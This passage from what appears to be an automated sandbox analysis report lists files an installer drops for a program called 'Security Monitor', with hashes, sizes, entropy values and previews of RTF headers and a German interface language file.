SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmq9RXRjOotI3qyLbfl4vBLbflAvQLbft:VklnIqG4Tb
MD5:	A44BC6DAA0FB852B0CC5F2930B338509
SHA1:	2E78886E8630AA1D8AEB320F5324635B36FE241E
SHA-256:	87355813ED68AB3CC1FC6AC77DBC2AA16248012FACAEE98F06F106A28D2F688D
SHA-512:	A589A22F3E556B104ECA9D4E557B65218C254587DC3CD73569D7F0101CD1073E61068699BD48CF0B4A695772C82FAD1A689ABC7D6CCB90A043E1FE729140B795
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42991
Entropy (8bit):	5.042023549126302
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DGRlBB42Nn92knS7eOZ/6A97:wqR3zIA97
MD5:	4406D386834A212EB3AD85B6410AEE1B
SHA1:	FE40A4177AEBEF814E9104273942637E62180E61
SHA-256:	4C083A2E2B9A6314BE4C4616010210D7191A949BB5849D140631CAA6AF0B8E5D
SHA-512:	DAD1AC26094545FFBB57D74B6C04ACB2E5279F8B045D3BD53CB27ACD877F6FDC4C9A6894B7A703C5A94EF6805E2AD98D7B1C6588CF9CF90BB790AE2625AA8AD0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19337
Entropy (8bit):	5.025077721740106
Encrypted:	false
SSDEEP:	384:USTHedgI9UbHmTZCmfwoxKza62zxpZ6EV00azBKh:U0I2bH2kRKKzwxpZnj4Kh
MD5:	7EB33A9C085F56E0004E166D1702EEA1
SHA1:	C8C514993F866C3282F2E53C231E5961EE8E3B90
SHA-256:	F96F92DFCD7C119EBD998989312F009D9ABA9E5C3A5B7899A8DD146370F5AFC4
SHA-512:	BA7B7716AD33D71247CEE9CC8B630BBA9B948654D366A892D5F1471B4A5FAD908A774600E8577223FFC043D4BD620BFC4222D2CC833B2AD1DF13CF7ADA5A203E
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Erfassung aktivieren"..tbStop="Stop"..tbStopHint="Erfassung deaktivieren"..tbFind="Finden"..tbFindHint="Nach Protokoll Informationen suchen"..tbSetting="Einstellungen"..tbSettingHint="Programm Einstellungen"..tbAbout=".ber"..tbAboutHint=".ber/ Informationsinfo"..tbHomePage="Home Page"..tbHomePageHint="Gehen Sie zum Programm Home Page"..tbToday="Heute"..tbTodayHint="Gehen Sie zum heutigen Protokoll"..tbHide="Verstecken"..tbHideHint="Stelth Modus (Kein Icon im Systempfad)"..tbMinimize="Minimieren"..tbMinimizeHint="Auf Ablage minimieren"..tbExit="Ausgang"..tbExitHint="Ausgang und Protokollstopp"..gbLog="Vorgangsprotokoll"..tCurrLogSize="Protokollgr..e (Mb)"..tCurrScrSize="Screenshots Gr..e (Mb)"..tCur

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42867
Entropy (8bit):	5.0494431999578
Encrypted:	false
SSDEEP:	768:BXKxdC6T2njX8x3TLjwUtqYepfwDyQbLjJAfop7ATX8zOpSyXZSpyEW7HuHlV1Z9:BYFfIA9p
MD5:	2130BD1D1919D711A5AF21035C3503CC
SHA1:	0F92AF4AD5D98942DD464C2D2DBFB2D23FC7BF1B
SHA-256:	C62CAA4DFD7ADE415A27535B12C7B80992C1617106CEA4D271D8B159D97DC724
SHA-512:	28EF2FF5A3AA227A1532E1283EB5D530F8BC45C401B346503A60CA026718D64A5CB020D198DC43B16FCD3FA751E36524D8BDDEB7E8FA9D3209B86211AB728612
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 020206

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	37003
Entropy (8bit):	5.038330646707192
Encrypted:	false
SSDEEP:	768:BbKxdCjOcPI0QhhiLVZMB5WjuOBYB1xlmZ/6A9P:Bs5Un9IA9P
MD5:	75DF6CB458A94E38B33006A5BB1AB3CA
SHA1:	7EE17FB0A1760D5C89FC4B86CB98CF3EA71E333D
SHA-256:	81275BC2F9DF017DD33438D44E3F4ACECDAC376281CD5C37F782538D937F8E3F
SHA-512:	89CD75E4140B9C9F90DB760FA806039017AF4558FC74AE5327F547DD7E3DF14710925F1F7C55C648F7A947753B48703A1AC47F905C9EDF454599828F3CD4A86D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	36818
Entropy (8bit):	5.041090274116406
Encrypted:	false
SSDEEP:	768:BbKxdCpT2njX8x3fDVyOvjU0EGi2YuWZ/6A9m:Bs2TyIA9m
MD5:	FF313FAF3C594763F16D083E7036D86A
SHA1:	E0C366F97CBF210063B17FA453D0A2EAA879953A
SHA-256:	FA691CAE1E17899C0EFA053BE2EFDF95D9E4F13C10F02A7683FA5C88E66F52EA
SHA-512:	2D64CF19B391D3900226225EE74DB20DD5542A1F2A8635A92CB83C0B948A815B5FC28ADF979713417EE97EAE0CB02CCD1E2FF1EA5648A9C250DE60221177FEA5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36262
Entropy (8bit):	5.030821265978035
Encrypted:	false
SSDEEP:	768:q4OkUx1ETicPI0QhhiLV/gKsmWgFdMXZ/6A9z:q44VUnSIA9z
MD5:	61D796543650EBE8C4A143DCAFAE4D24
SHA1:	54CD649E28D6442AA3946EE9891A156A68A3B2CB
SHA-256:	585B560159CC4BDB9361F30B002CE9AA44AD510FB30A61257076810146B2D918
SHA-512:	201BFB392E79FBC5A62A63610CD19B009ED98C54D5DF34B86C696C757175CD1DB3650B0CE0938C5C3529BD155C9E63E158D153588C723A1F968BDDBF05017A68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdb

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68188
Entropy (8bit):	5.031260319156822
Encrypted:	false
SSDEEP:	768:q4eox1edVW3C79k5haj5g5V5V5h5G5P5N5R5gVVhGPN8turfTYlDSsGx7TYlD+sE:q4N18T22yAwfv1vfvZ9I+kXrPtIA9D
MD5:	FAC5492A79C913CDD25F21166FB2CBDC
SHA1:	F989F1D0D67D3B121AD1B4A491FE81CC6D1C55D2
SHA-256:	5C9D5955EB4E98A177EDA4E4B39BF09E19E3D6B83E634CA5C72CEFBDB8FE7178
SHA-512:	A715FC343E1183806AA428EDF040B6964EEA8492751C6453293729874A77F43867246813625D4C0D62ACBD00DC0BDE267EBF1285B3A96C0C5D5B4C9F0BF5CF7D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-3QHCE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43859
Entropy (8bit):	5.052664414201202
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2G+xnd9MfUcL2L5Mc5255cRHjVlPw2:BvrUneKGsIA9B
MD5:	F7320542A3AFF0FC824E6C8D5CA74FBC
SHA1:	F3C273969AC71FB411A5677D23898B7FE0633BFF
SHA-256:	FAAAACD62FDB8F2901ACD5D39CB2D54B9A728B463900AE08916DE586EE9CD521
SHA-512:	8CD8ED594846968FD2932A0E396E4DD1833EC10C4CF4F187C80BE34378E55605AC190EE87A1A47AB335BF19764640FEC14F4A9CE7C5893877EAA995FADBC18BA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-6SQ84.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68188
Entropy (8bit):	5.031260319156822
Encrypted:	false
SSDEEP:	768:q4eox1edVW3C79k5haj5g5V5V5h5G5P5N5R5gVVhGPN8turfTYlDSsGx7TYlD+sE:q4N18T22yAwfv1vfvZ9I+kXrPtIA9D
MD5:	FAC5492A79C913CDD25F21166FB2CBDC
SHA1:	F989F1D0D67D3B121AD1B4A491FE81CC6D1C55D2
SHA-256:	5C9D5955EB4E98A177EDA4E4B39BF09E19E3D6B83E634CA5C72CEFBDB8FE7178
SHA-512:	A715FC343E1183806AA428EDF040B6964EEA8492751C6453293729874A77F43867246813625D4C0D62ACBD00DC0BDE267EBF1285B3A96C0C5D5B4C9F0BF5CF7D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-7CL9E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	37003
Entropy (8bit):	5.038330646707192
Encrypted:	false
SSDEEP:	768:BbKxdCjOcPI0QhhiLVZMB5WjuOBYB1xlmZ/6A9P:Bs5Un9IA9P
MD5:	75DF6CB458A94E38B33006A5BB1AB3CA
SHA1:	7EE17FB0A1760D5C89FC4B86CB98CF3EA71E333D
SHA-256:	81275BC2F9DF017DD33438D44E3F4ACECDAC376281CD5C37F782538D937F8E3F
SHA-512:	89CD75E4140B9C9F90DB760FA806039017AF4558FC74AE5327F547DD7E3DF14710925F1F7C55C648F7A947753B48703A1AC47F905C9EDF454599828F3CD4A86D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-B0JMM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42483
Entropy (8bit):	5.0516758116152145
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DqxxqAJ7iYH2qlyTU6Z/6A9r:BvrUneKDZIA9r
MD5:	4419419BD2ABBE30C63B730ADA875674
SHA1:	2946FB19C980B330C1B4719AE6F915520709D99D
SHA-256:	180D6187E16BE50A3649B861A5FB7580F0AE99E949FBE0EAC05FBB5B17BD6F99
SHA-512:	2656094851AFBF719ECC12DE1AAA73C2040DA4FCCD7B4AB4E0FB6130472E606C5F8010A1D58C6D015F5DD8A71DB7C6E14811229FF2360F3D26BFAC4E737CE6A5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-EN318.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	49864
Entropy (8bit):	5.043460580292076
Encrypted:	false
SSDEEP:	768:Bbi4jegzTJqNgVVhGPNXturfTYlDojU7FDSSmDP3QyYd9RhtAx/IFdNJf+v/AXQ0:BJkethIA9Q
MD5:	C5AC9F8F23886CDA2348A3BC382F8F9B
SHA1:	E18B97EA75873D424D0F0CDD349632CA3C96B656
SHA-256:	EC49E0ED640B29CF852E455D9D0A7666914DC7114D771F514405944F6C8D3733
SHA-512:	4A8FB239C01F8E1A163C6CB75C84884CADBAF0FA25159218D40F73F73A9255353134EA0D64800EAC40E49383085D5EFF05662B78FF43696A69A1FB591C80A7F1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-FL5BQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43450
Entropy (8bit):	5.051452976930654
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DKxwaOqBdLE0aWsaeyXH62lGFcaZl:BvrUneKD/IA9B
MD5:	843D629B19FC6C1C760CCCF79DCD8778
SHA1:	E1FD65A3F296C7F966AD9A3CA7C6C970127FCC04
SHA-256:	369458B9EAD9880E66B906332948AE38AEB74173BB24FEFD65B18438FECFCD23
SHA-512:	0C3E239B14888868A2F5FB95A7446E22460819B6DE4C2AE8C23C1E31C25D4FC4B9A04D861ED516A975A8397DB621BA517AB29606FBEAFBD70E7A6131D2604D58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-FVVOE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36262
Entropy (8bit):	5.030821265978035
Encrypted:	false
SSDEEP:	768:q4OkUx1ETicPI0QhhiLV/gKsmWgFdMXZ/6A9z:q44VUnSIA9z
